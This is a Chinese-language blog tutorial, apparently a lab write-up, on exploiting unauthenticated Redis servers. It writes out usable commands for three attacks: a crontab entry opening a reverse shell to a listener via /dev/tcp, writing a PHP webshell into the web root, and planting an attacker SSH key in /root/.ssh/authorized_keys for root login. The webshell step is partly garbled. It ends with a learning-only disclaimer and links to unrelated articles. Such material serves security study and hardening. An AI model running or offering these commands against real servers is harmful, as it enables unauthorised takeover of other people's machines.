简介 Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。
漏洞描述 Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。
影响版本 通用型漏洞
测试环境 下载官方redis压缩包到虚拟环境内,进行解压根据安装redis教程进行安装,最后解除绑定127.0.0.1,设置成无密码验证,安装apache服务器,开启web服务
漏洞复现 先使用命令redis-cli -h 192.168.137.140 -p 6379
进行连接redis服务器,查看敏感信息,key和对应值
【java|Redis未授权访问的三种利用方式】1.使用命令Info查看敏感信息
文章图片
2.使用命令keys *
查看key和对应的值
文章图片
因为当前的redis是刚创建的,所以没有东西
然后在查看完敏感信息之后,就开始漏洞利用,主要分为三种方法:
1.利用crontab反弹shell 直接向靶机的Crontab写入任务计划,反弹shell
set x "
* * * * * /bin/bash -i >& /dev/tcp/192.168.137.136/6668 0>&1
"
config set dir /var/spool/cron/
config set dbfilename root
(中间返回error是因为没有使用root权限运行redis的缘故)
文章图片
进行反弹,linux进行监听,但是监听了好大一会都没有监听到,查找文章,发现ubuntu下计划任务反弹shell需要注意两点,一是需要root权限,二是需要书写crontab计划的时候要将/bin/sh软链接到/bin/bash,当然我们也可以不修改软链接,可以直接将反弹shell的语句写入脚本,然后crontab任务定时执行脚本就可以 ln -s -f /bin/bash /bin/sh 设置软链接
但是ubuntu又发现了一个问题,在redis进行写入的时候发现计划中存在乱码,删除乱码
最后等待一分钟就接受到反弹的shell了
2.写入webshell 先通过方法确定web的路径,然后通过类似上面的方法写入webshell
set x "
"config set /www/admin/localhost_80/wwwroot/Config set dbfilename shell.php
使用蚁剑或者冰蝎等工具进行连接登录
3.写ssh-keygen公钥登录 先在攻击机上切换到root用户
在攻击机中生成ssh公钥和私钥,密码设置为空
ssh-keygen -t rsa
一路默认就可以
进入/root/.ssh目录下,将生成的公钥存入1.txt
(echo -e "";
cat id_rsa.pub;
echo -e "") > 1.txt
redis-cli -h 192.168.137.146
更改redis备份路径为ssh公钥存放目录
config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys
config set dbfilename authorized_keys
save
然后就可以再攻击机上使用ssh免密码登录靶机
ssh -i id_rsa [ip]
本文章仅供学习使用。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
推荐阅读
- 优化|sqlsever中text字段类型是否会影响查询性能
- java|springboot+nodejs+Vue影视作品网站java
- java|Java计算机毕业设计停车场信息管理系统源码+系统+数据库+lw文档
- #|项目登录页面框架
- JavaSE|Java面试题--Web部分
- 刘亦菲生日当天,引发了我对正则的思考
- 笔记|MySQL的增删查改【进阶】
- 高并发|分布式事务锁库存BUG定位
- SQL|[SQL] MySQL的增删查改(进阶版)